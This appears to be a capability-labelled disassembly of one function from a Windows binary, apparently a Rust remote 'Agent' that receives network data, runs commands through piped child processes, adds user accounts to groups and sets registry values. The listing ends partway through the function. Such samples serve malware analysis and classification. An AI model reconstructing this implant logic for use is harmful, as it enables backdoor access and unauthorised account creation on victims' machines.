Function at 0x140041fd2
Capabilities:
Add user account
Add user account to group
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x19b8
call fcn.140185820
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1920], xmm10
movaps xmmword [rbp + 0x1910], xmm9
movaps xmmword [rbp + 0x1900], xmm8
movaps xmmword [rbp + 0x18f0], xmm7
movaps xmmword [rbp + 0x18e0], xmm6
and rsp, 0xffffffffffffffe0
mov rdi, r8
mov rsi, rdx
mov r15, rcx
call fcn.1400cb655
lea rbx, [rsp + 0xba0]
mov rcx, rbx
mov qword [rsp + 0x5a0], rsi
mov rdx, rsi
call fcn.140032d70
lea r13, [rsp + 0x5c0]
mov rcx, r13
mov rdx, r15
mov r8, rbx
mov r9, rdi
call fcn.140049cc1
mov rsi, qword [r13]
test rsi, rsi
je 0x140047eb7
lea rdx, [rsp + 0x5e8]
movups xmm0, xmmword [rdx - 0x20]
movups xmm1, xmmword [rdx - 0x10]
lea r14, [rsp + 0xdc0]
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
mov qword [rsp + 0x1d0], r15
lea r15, [rsp + 0x12f8]
mov r8d, 0x1e0
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [r14]
movaps xmm1, xmmword [r14 + 0x10]
movups xmmword [r15 - 0x20], xmm0
movups xmmword [r15 - 0x10], xmm1
mov qword [r15 - 0x28], rsi
mov rax, qword [rdi + 8]
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rdi]
mov rcx, r13
call fcn.1400cb5d1
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
lea r12, [rsp + 0xac8]
mov rcx, r12
mov rdx, r13
call fcn.1400365e1
mov qword [rsp + 0x5b8], rdi
mov rdx, qword [rdi + 0x18]
lea rsi, [rsp + 0x5c0]
mov rcx, rsi
call fcn.1400cb5d1
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
lea rcx, [rsp + 0xda8]
mov rdx, rsi
call fcn.1400365e1
lea rax, [rsp + 0x12e8]
mov qword [r14], r12
lea r13, [0x140038bc3]
mov qword [r14 + 8], r13
mov qword [r14 + 0x10], rax
lea rax, [fcn.1400cc6da]
mov qword [r14 + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x14019cf78]
lea rsi, [rsp + 0x5c0]
push 3
pop r8
mov rcx, rsi
mov r9, r14
call fcn.14003510c
mov rcx, rbx
mov rdx, rsi
call fcn.140037b3c
lea rbx, [rsp + 0xba0]
movups xmm0, xmmword [rbx]
lea rcx, [rsp + 0x2b0]
movaps xmmword [rcx], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rcx + 0x10], rax
mov qword [r14], r12
mov qword [r14 + 8], r13
push 1
pop r14
mov qword [rsp + 0x20], r14
lea rdx, [0x14019cfb8]
lea rsi, [rsp + 0x5c0]
push 2
pop rdi
lea r9, [rsp + 0xdc0]
mov rcx, rsi
mov r8, rdi
call fcn.14003510c
lea rcx, [rsp + 0xae0]
mov rdx, rsi
call fcn.140037b3c
mov qword [rbx], r12
mov qword [rbx + 8], r13
mov qword [rsp + 0x20], r14
lea rdx, [0x14019cfe8]
lea rsi, [rsp + 0x5c0]
mov rcx, rsi
mov r8, rdi
mov r9, rbx
call fcn.14003510c
lea rdi, [rsp + 0xdc0]
mov rcx, rdi
mov rdx, rsi
call fcn.140037b3c
movups xmm0, xmmword [rdi]
lea rcx, [rsp + 0xd90]
movaps xmmword [rcx], xmm0
mov rax, qword [rdi + 0x10]
mov rdi, r15
mov r15, qword [rsp + 0x1d0]
mov qword [rcx + 0x10], rax
mov eax, 0x88
add rax, rbx
mov qword [rsp + 0x598], rax
mov eax, 0xc8
add rax, rbx
mov qword [rsp + 0x590], rax
lea rbx, [rsp + 0x2b0]
mov eax, 0x200
add rax, rsi
mov qword [rsp + 0x588], rax
or rsi, r14
mov qword [rsp + 0x5b0], rsi
xorps xmm6, xmm6
movaps xmm7, xmmword [0x140199e00]
lea rsi, [0x14019c1e8]
xor r14d, r14d
cmp r14d, 1
je 0x140047e62
mov r9, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r13, [rsp + 0x5c0]
mov rcx, r13
mov rdx, r15
mov r8, rsi
call fcn.14003b1b6
lea r12, [rsp + 0xba0]
mov rcx, r12
mov rdx, r13
call fcn.14009ffb3
cmp dword [rsp + 0xba0], 3
je 0x140047c68
mov r8d, 0xc0
lea rcx, [rsp + 0xdc0]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
cmp word [rsp + 0xe28], 0x1f6
mov rsi, qword [rsp + 0x5b8]
je 0x140047c7c
mov r8d, 0xc0
lea rsi, [rsp + 0x14d8]
mov rcx, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x98
lea rcx, [rsp + 0xdc0]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x1570]
mov r14d, dword [rsp + 0x1578]
call fcn.140001084
mov esi, 0x3b9aca00
cmp r14d, 0x3b9aca00
lea r15, [rsp + 0xaf8]
je 0x140042412
mov qword [rsp + 0x440], rbx
mov dword [rsp + 0x448], r14d
mov rax, qword [0x14029a190]
mov rax, qword [rax]
cmp rax, 5
jb 0x1400423f0
lea rax, [rsp + 0x440]
mov qword [rsp + 0xba0], rax
lea rax, [0x14002de40]
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0x20], 1
mov rcx, r13
lea rdx, [0x14019c498]
push 1
pop r8
mov r9, r12
call fcn.14003510c
and qword [rsp + 0x20], 0
mov rcx, r13
push 5
pop rdx
lea r8, [0x14019c3f8]
push reloc.WS2_32.dll_recv
pop r9
call fcn.14010a720
call fcn.1400d9bd5
mov r8, qword [rsp + 0x440]
mov r9d, dword [rsp + 0x448]
mov rcx, rax
call fcn.1400d9c02
mov rdi, rax
mov esi, edx
call fcn.140008c00
mov rcx, rax
call fcn.140037c7b
mov rcx, rax
call fcn.14005a5b5
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rdx
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x1b0], rax
mov r8d, 0x280
mov rcx, r13
lea rdx, [rsp + 0xdc0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + 0x840], 0
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0xd3]
lea rdx, [rsp + 0x5e8]
mov dword [rdx + 0x259], eax
mov dword [rdx + 0x25c], ecx
xor eax, eax
lea r14, [rsp + 0x658]
lea rbx, [rsp + 0xa18]
test al, al
je 0x1400424aa
movzx eax, al
cmp eax, 3
je 0x1400424f2
jmp 0x140047ffc
mov r8d, 0x98
mov rcx, rbx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
mov rdx, rbx
call fcn.14009ee82
lea r15, [rsp + 0x1598]
mov rcx, r15
mov rdx, r12
call fcn.1400743cc
mov r8d, 0x1e8
mov rcx, r14
mov rdx, r15
lea r15, [rsp + 0xaf8]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
mov rdx, r14
lea r8, [rsp + 0x1b0]
call fcn.14003aaf0
cmp qword [rsp + 0xba0], 0
je 0x14004272a
mov byte [rsp + 0x840], 3
cmp esi, 0x3b9aca00
jne 0x1400425ca
mov rax, qword [0x14029a190]
mov rax, qword [rax]
cmp rax, 4
jbe 0x1400425c0
call fcn.140008c00
mov qword [rsp + 0xa18], rax
mov rcx, rbx
call fcn.140009270
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x440], rax
lea rax, [0x140015620]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x20], 1
mov rcx, r12
lea rdx, str.___park_timeout__
push 2
pop r8
lea r9, [rsp + 0x440]
call fcn.14003510c
and qword [rsp + 0x20], 0
mov rcx, r12
push 5
pop rdx
lea r8, [0x14019c3f8]
push 0x31
pop r9
call fcn.14010a720
mov rcx, rbx
call fcn.1400355ed
call fcn.140008ca0
jmp 0x14004271e
mov qword [rsp + 0x2e0], rdi
mov dword [rsp + 0x2e8], esi
call fcn.1400d9bd5
mov rbx, rax
mov r14d, edx
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1e8], edx
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x2e0]
call fcn.1400350f9
mov rcx, qword [0x14029a190]
mov rcx, qword [rcx]
test al, al
jne 0x1400427eb
cmp rcx, 4
jbe 0x1400426f6
call fcn.140008c00
mov qword [rsp + 0x500], rax
lea r15, [rsp + 0x500]
mov rcx, r15
call fcn.140009270
mov qword [rsp + 0x260], rax
mov rcx, rdi
mov edx, esi
mov r8, rbx
mov r9d, r14d
call fcn.1400d9c07
mov qword [rsp + 0xa18], rax
mov dword [rsp + 0xa20], edx
lea rax, [rsp + 0x260]
mov qword [rsp + 0x440], rax
lea rax, [0x140015620]
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0xa18]
mov qword [rsp + 0x450], rax
lea rax, [0x14002de40]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x20], 2
mov rcx, r12
lea rdx, str.___park_timeout__
push 2
pop r8
lea r9, [rsp + 0x440]
call fcn.14003510c
and qword [rsp + 0x20], 0
mov rcx, r12
push 5
pop rdx
lea r8, [0x14019c3f8]
push 0x2a
pop r9
call fcn.14010a720
mov rcx, r15
lea r15, [rsp + 0xaf8]
call fcn.1400355ed
mov rcx, rdi
mov edx, esi
mov r8, rbx
mov r9d, r14d
call fcn.1400d9c07
mov rcx, rax
call fcn.140008e80
lea r14, [rsp + 0x658]
lea rbx, [rsp + 0xa18]
mov al, byte [rsp + 0x840]
jmp 0x140042499
mov rsi, qword [rsp + 0xba8]
mov rbx, qword [rsp + 0xbb0]
lea rax, [rsp + 0xba0]
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x150], xmm0
mov rcx, r14
call fcn.140036019
test rsi, rsi
je 0x14004287d
movaps xmm0, xmmword [rsp + 0x150]
lea rax, [rsp + 0xb90]
movups xmmword [rax], xmm0
mov qword [rsp + 0xb80], rsi
mov qword [rsp + 0xb88], rbx
mov r8, qword [rsp + 0xb90]
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, rbx
call fcn.1400a9d08
lea r14, [rsp + 0x170]
mov rcx, r14
mov rdx, rsi
call fcn.1400a81b2
lea rcx, [rsp + 0x440]
mov rdx, r14
call fcn.140033ab4
cmp byte [rsp + 0x440], 0
lea rdi, [rsp + 0x12f8]
je 0x140042894
mov rsi, qword [rsp + 0x448]
lea r14, [rsp + 0x1210]
jmp 0x140043143
cmp rcx, 5
lea rsi, [rsp + 0x658]
jb 0x140042847
lea rax, [0x14019c440]
mov qword [rsp + 0xba0], rax
mov qword [rsp + 0xba8], 1
lea rax, [0x14019ae08]
mov qword [rsp + 0xbb0], rax
movups xmmword [rsp + 0xbb8], xmm6
and qword [rsp + 0x20], 0
mov rcx, r12
push 5
pop rdx
lea r8, [0x14019c3f8]
push 0x26
pop r9
call fcn.14010a720
movzx eax, byte [rsp + 0x840]
cmp eax, 3
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0x1210]
je 0x140042ac0
test eax, eax
jne 0x140042ac8
mov rcx, r13
call fcn.140035b54
jmp 0x140042ac8
xor esi, esi
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0x1210]
jmp 0x14004316a
cmp byte [rsp + 0x441], 0
je 0x140042bf0
movzx eax, byte [rsp + 0x442]
cmp eax, 0x5b
je 0x140042acf
cmp eax, 0x7b
jne 0x140042cb4
dec byte [rsp + 0x1a0]
je 0x140042cd0
inc qword [rsp + 0x180]
mov qword [rsp + 0x130], r14
and qword [rsp + 0x1e0], 0
mov byte [rsp + 0x138], 1
and qword [rsp + 0x260], 0
push 0xe
pop r14
lea rsi, [rsp + 0x130]
mov rcx, r12
mov rdx, rsi
call fcn.14003821d
cmp byte [rsp + 0xba0], 0
jne 0x140042bbd
movzx eax, byte [rsp + 0xba1]
cmp rax, 3
je 0x140042bca
test rax, rax
je 0x140042a19
cmp eax, 1
jne 0x140042a03
cmp qword [rsp + 0x260], 0
jne 0x140042f3d
mov rcx, r12
mov rdx, rsi
call fcn.140037e75
cmp qword [rsp + 0xba0], 0
mov rbx, qword [rsp + 0xba8]
jne 0x140042f5a
lea rax, [rsp + 0xba0]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax + 0x30]
movups xmm3, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x310], xmm3
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
lea rcx, [rsp + 0x260]
call fcn.140035fd7
mov qword [rsp + 0x260], 1
mov qword [rsp + 0x268], rbx
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
lea rax, [rsp + 0x268]
movups xmmword [rax + 0x38], xmm3
movups xmmword [rax + 0x28], xmm2
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 8], xmm0
jmp 0x1400428ff
mov rcx, rsi
call fcn.140037eb0
test rax, rax
je 0x1400428ff
jmp 0x140042f57
cmp qword [rsp + 0x1e0], 0
jne 0x140042f48
mov rsi, qword [rsp + 0x130]
mov rcx, rsi
call fcn.140033b44
test rax, rax
jne 0x140042f57
mov rcx, r12
mov rdx, rsi
call fcn.14003d10d
cmp qword [rsp + 0xba0], 0
mov rbx, qword [rsp + 0xba8]
jne 0x140042f5a
mov rcx, r14
lea rdi, [rsp + 0x2e0]
lea rsi, [rsp + 0xbb0]
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 0
je 0x140042a91
lea rcx, [rsp + 0x1e8]
call fcn.140035bc8
mov qword [rsp + 0x1e0], 1
mov qword [rsp + 0x1e8], rbx
mov rcx, r14
lea rdi, [rsp + 0x1f0]
lea rsi, [rsp + 0x2e0]
rep movsq qword [rdi], qword [rsi]
jmp 0x1400428f7
mov rcx, rsi
call fcn.140036019
xor ebx, ebx
jmp 0x140043168
dec byte [rsp + 0x1a0]
je 0x140042cec
inc qword [rsp + 0x180]
mov qword [rsp + 0xf0], r14
lea rcx, [rsp + 0x500]
mov rdx, r14
call fcn.140033ab4
cmp byte [rsp + 0x500], 0
je 0x140042b13
mov rbx, qword [rsp + 0x508]
jmp 0x140042deb
cmp byte [rsp + 0x501], 0
je 0x140042dba
cmp byte [rsp + 0x502], 0x5d
je 0x140042dd3
mov byte [rsp + 0xf8], 0
mov rcx, r12
mov rdx, r14
call fcn.14003d10d
cmp qword [rsp + 0xba0], 0
mov rbx, qword [rsp + 0xba8]
jne 0x140042deb
push 0xe
pop r14
mov rcx, r14
lea rdi, [rsp + 0x1e8]
lea r15, [rsp + 0xbb0]
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x1e0], rbx
mov rcx, r12
lea rdx, [rsp + 0xf0]
call fcn.1400388b3
mov rax, qword [rsp + 0xba0]
mov rsi, qword [rsp + 0xba8]
cmp rax, 2
jne 0x140042d0b
lea rcx, [rsp + 0x1e0]
call fcn.140035bc8
mov rbx, rsi
jmp 0x140042deb
mov rbx, qword [rsp + 0xba8]
jmp 0x140042f5a
cmp qword [rsp + 0x1e0], 0
je 0x140042c01
mov rbx, qword [rsp + 0x1e8]
mov rcx, r14
mov rdi, r12
lea rsi, [rsp + 0x1f0]
rep movsq qword [rdi], qword [rsi]
jmp 0x140042c03
mov qword [rsp + 0xba0], 5
jmp 0x140042cf8
xor ebx, ebx
cmp qword [rsp + 0x260], 0
je 0x140042c50
mov r15, qword [rsp + 0x268]
lea rax, [rsp + 0x268]
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmm2, xmmword [rax + 0x28]
movups xmm3, xmmword [rax + 0x38]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x310], xmm3
jmp 0x140042c53
xor r15d, r15d
mov rcx, r14
lea rdi, [rsp + 0x500]
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov al, 1
mov dword [rsp + 0x70], eax
xor r14d, r14d
xor esi, esi
jmp 0x140042f98
mov rcx, r14
lea rdx, [rsp + 0x6f]
lea r8, fcn.140001084
call fcn.140187cd4
mov rbx, rax
jmp 0x140043925
mov qword [rsp + 0xba0], 0x18
mov rcx, r14
mov rdx, r12
call fcn.140187c70
jmp 0x140043930
mov qword [rsp + 0xba0], 0x18
mov rcx, r14
mov rdx, r12
call fcn.140187c70
mov rsi, rax
jmp 0x1400427de
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
test rax, rax
lea rdi, [rsp + 0x2e0]
je 0x140045f7c
mov rdx, rsi
movaps xmm0, xmmword [rsp + 0x500]
movaps xmm1, xmmword [rsp + 0x510]
movaps xmm2, xmmword [rsp + 0x520]
movaps xmm3, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x290], xmm3
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rcx, r14
lea rsi, [rsp + 0x1e8]
rep movsq qword [rdi], qword [rsi]
mov al, 1
mov dword [rsp + 0x70], eax
xor r14d, r14d
xor esi, esi
lea r15, [rsp + 0x15a0]
mov qword [rsp + 0x78], rdx
jmp 0x140042e01
mov qword [rsp + 0xba0], 2
mov rcx, r14
mov rdx, r12
call fcn.140187c70
jmp 0x140042de8
xor ecx, ecx
lea rdx, [0x14019a970]
lea r8, fcn.140001084
call fcn.140188124
mov rbx, rax
lea r15, [rsp + 0x15a0]
mov r14b, 1
mov dword [rsp + 0x70], 0
push 1
pop rsi
inc byte [rsp + 0x1a0]
lea rcx, [rsp + 0x170]
call fcn.140033c68
mov rdx, rax
mov qword [rsp + 0xba0], rsi
mov qword [rsp + 0xba8], rbx
push 0xe
pop rcx
lea rdi, [rsp + 0xbb0]
lea rsi, [rsp + 0x2e0]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc20], rax
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmm2, xmmword [rsp + 0x280]
movaps xmm3, xmmword [rsp + 0x290]
mov rax, qword [rsp + 0x598]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0xc68], rdx
test r14b, r14b
je 0x140042ea1
mov dil, 1
push 1
pop rsi
cmp byte [rsp + 0x70], 0
jne 0x140042eba
jmp 0x140042f26
test rdx, rdx
sete dil
je 0x140042ed7
mov rbx, rdx
push 1
pop rax
cmp byte [rsp + 0x70], 0
je 0x140042f0d
mov rbx, rdx
lea rcx, [rsp + 0xba8]
call fcn.140035c03
mov rdx, qword [rsp + 0xc68]
push 1
pop rsi
mov edi, r14d
jmp 0x140042f26
mov r8d, 0xb8
lea rcx, [rsp + 0x440]
mov rsi, rdx
lea rdx, [rsp + 0xbb0]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rsi
mov eax, 0
mov esi, 0
cmp byte [rsp + 0x70], 0
jne 0x1400430db
lea rcx, [rsp + 0xba8]
mov rsi, rdx
mov r14, rax
call fcn.1400357bf
mov rdx, rsi
mov rsi, r14
test rdx, rdx
je 0x1400430db
test dil, dil
jne 0x1400430ce
jmp 0x1400430db
lea rcx, [0x14019a864]
push 5
jmp 0x140042f51
lea rcx, str.dataerrora_sequenceC:UsersAdministrator.cargo_registry_src_rsproxy.cn_0dccff568467c15bchacha20poly1305_0.9.1_srccipher.rs
push 4
pop rdx
call fcn.140188197
mov rbx, rax
cmp qword [rsp + 0x260], 0
je 0x140042f72
lea rcx, [rsp + 0x268]
call fcn.140035b98
cmp qword [rsp + 0x1e0], 0
je 0x140042f8a
lea rcx, [rsp + 0x1e8]
call fcn.140035bc8
mov r14b, 1
mov dword [rsp + 0x70], 0
push 1
pop rsi
inc byte [rsp + 0x1a0]
lea rcx, [rsp + 0x170]
call fcn.140033bf3
mov rdx, rax
mov qword [rsp + 0xba0], rsi
mov qword [rsp + 0xba8], rbx
push 0xe
pop rcx
lea rdi, [rsp + 0xbb0]
lea rsi, [rsp + 0x500]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0xc20], r15
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmm3, xmmword [rsp + 0x120]
mov rax, qword [rsp + 0x598]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0xc68], rdx
test r14b, r14b
je 0x14004303b
mov dil, 1
push 1
pop rsi
cmp byte [rsp + 0x70], 0
lea r15, [rsp + 0x15a0]
jne 0x14004305c
jmp 0x1400430c4
test rdx, rdx
sete dil
lea r15, [rsp + 0x15a0]
je 0x140043079
mov rbx, rdx
push 1
pop rax
cmp byte [rsp + 0x70], 0
je 0x1400430ab
mov rbx, rdx
lea rcx, [rsp + 0xba8]
call fcn.140035c03
mov rdx, qword [rsp + 0xc68]
mov edi, r14d
push 1
pop rsi
jmp 0x1400430c4
mov r8d, 0xb8
lea rcx, [rsp + 0x440]
mov rsi, rdx
lea rdx, [rsp + 0xbb0]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rsi
mov eax, 0
mov esi, 0
cmp byte [rsp + 0x70], 0
jne 0x1400430db
lea rcx, [rsp + 0xba8]
mov rsi, rdx
mov r14, rax
call fcn.1400357bf
mov rdx, rsi
mov rsi, r14
test dil, dil
je 0x1400430db
test rdx, rdx
je 0x1400430db
mov rcx, qword [rsp + 0x590]
call fcn.1400357bf
test rsi, rsi
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0x170]
jne 0x140043925
mov r8d, 0xb8
mov rcx, r15
lea rdx, [rsp + 0x440]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1598], rbx
mov rcx, r14
call fcn.140033ba8
test rax, rax
je 0x1400434a0
mov rsi, rax
lea rcx, [rsp + 0x1598]
call fcn.140035c03
lea r14, [rsp + 0x1210]
lea r15, [rsp + 0xaf8]
lea rcx, [rsp + 0x188]
call fcn.14003584d
mov rcx, rsi
call fcn.14003524c
mov rbx, rax
lea rcx, [rsp + 0xb80]
call fcn.1400355d7
xor esi, esi
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
call qword [rax + 0x18]
test sil, sil
je 0x1400431ab
mov qword [rsp + 0x368], rbx
mov r8d, 0xb8
lea rcx, [rsp + 0x370]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
lea rsi, [0x14019c1e8]
jmp 0x1400431ca
test rbx, rbx
lea rsi, [0x14019c1e8]
jne 0x1400431bf
call fcn.14009a238
mov rbx, rax
mov qword [rsp + 0x368], rbx
push 1
pop rax
mov qword [rsp + 0x360], rax
lea rcx, [rsp + 0x1580]
call fcn.140035575
lea rcx, [rsp + 0x1590]
call fcn.140035ba3
cmp qword [rsp + 0x360], 0
je 0x140043236
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
cmp qword [rsp + 0x360], 0
lea rbx, [rsp + 0x2b0]
je 0x140043226
lea rcx, [rsp + 0x360]
call fcn.14003545f
xor r14d, r14d
mov r15, qword [rsp + 0x1d0]
jmp 0x140042294
mov r8d, 0xc0
mov rcx, r14
lea rdx, [rsp + 0x368]
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x1210], 0
lea rbx, [rsp + 0x2b0]
je 0x140043426
push recv
pop rcx
mov rdi, r15
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xb20], 0x40
jne 0x14004343d
push reloc.WS2_32.dll_recv
pop rdi
mov rcx, rdi
xor edx, edx
call fcn.14005453e
lea rsi, [rsp + 0xb28]
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xc8], rdi
mov rcx, rdi
xor edx, edx
call fcn.14005453e
lea rcx, [rsp + 0x12e8]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], rdi
lea r14, [rsp + 0xb8]
mov rcx, r14
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
mov rcx, r13
mov rdx, r15
call fcn.1400e377a
mov rcx, r14
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
push 0x20
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [rsi + 0x10]
movups xmm1, xmmword [rsi + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], 0x20
mov rcx, r14
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
push 0x18
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [rax], xmm0
mov rcx, qword [rsi + 0x40]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], 0x18
mov rcx, r14
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
mov r8, qword [rsp + 0xb10]
mov r9, qword [rsp + 0xb20]
lea rax, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
mov qword [rsp + 0x20], rax
xor ecx, ecx
push 0x40
pop rdx
call fcn.1400331e2
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.14010a8a3
cmp byte [rsp + 0x5c0], 0
lea rdi, [rsp + 0x12f8]
je 0x1400434e3
mov rdx, qword [rsp + 0x5c8]
mov r8, qword [rsp + 0x5d0]
lea rcx, [rsp + 0x378]
call fcn.140049bd3
and qword [rsp + 0x370], 0
lea rsi, [0x14019c1e8]
jmp 0x140043a91
xor r14d, r14d
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
jmp 0x140043cbb
push 0x21
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [0x14019d2ad]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019d2bd]
movups xmmword [rax + 0x10], xmm0
mov byte [rax + 0x20], 0x64
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], rdx
mov qword [rsp + 0x390], 0x21
movups xmmword [rsp + 0x370], xmm6
lea rdi, [rsp + 0x12f8]
lea rsi, [0x14019c1e8]
lea r14, [rsp + 0xb8]
jmp 0x140043a99
mov r8d, 0xb8
mov rcx, r12
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x188]
call fcn.14003584d
lea rcx, [rsp + 0xb80]
call fcn.1400355d7
mov sil, 1
lea r14, [rsp + 0x1210]
lea r15, [rsp + 0xaf8]
jmp 0x14004316a
mov rcx, qword [rsp + 0x5b0]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0xa1b], ecx
mov dword [rsp + 0xa18], eax
movups xmm0, xmmword [rsp + 0x5c8]
lea rax, [rsp + 0x5e8]
movups xmm1, xmmword [rax - 0x10]
movups xmm2, xmmword [rax]
movups xmm3, xmmword [rax + 9]
movups xmmword [rsp + 0xdd9], xmm3
movaps xmmword [rsp + 0xdd0], xmm2
movaps xmmword [rsp + 0xdc0], xmm1
movups xmm2, xmmword [rsp + 0xdd9]
lea rax, [rsp + 0xa2f]
movups xmmword [rax + 0x19], xmm2
movaps xmm2, xmmword [rsp + 0xdd0]
movups xmmword [rax + 0x10], xmm2
movups xmmword [rax], xmm1
movups xmmword [rsp + 0xa1f], xmm0
mov r8, qword [rsp + 0xb8]
mov r9, qword [rsp + 0xc8]
lea rax, [rsp + 0xa18]
mov qword [rsp + 0x20], rax
mov rcx, r13
lea rdx, [rsp + 0x1418]
call fcn.1400c4d00
cmp qword [rsp + 0x5c0], 0
lea rsi, [0x14019c1e8]
je 0x1400435fe
lea rcx, [rsp + 0x5c8]
call fcn.14003551a
push 0x25
pop rcx
xor edx, edx
call fcn.14005453e
movabs rcx, 0x64696c617620746f
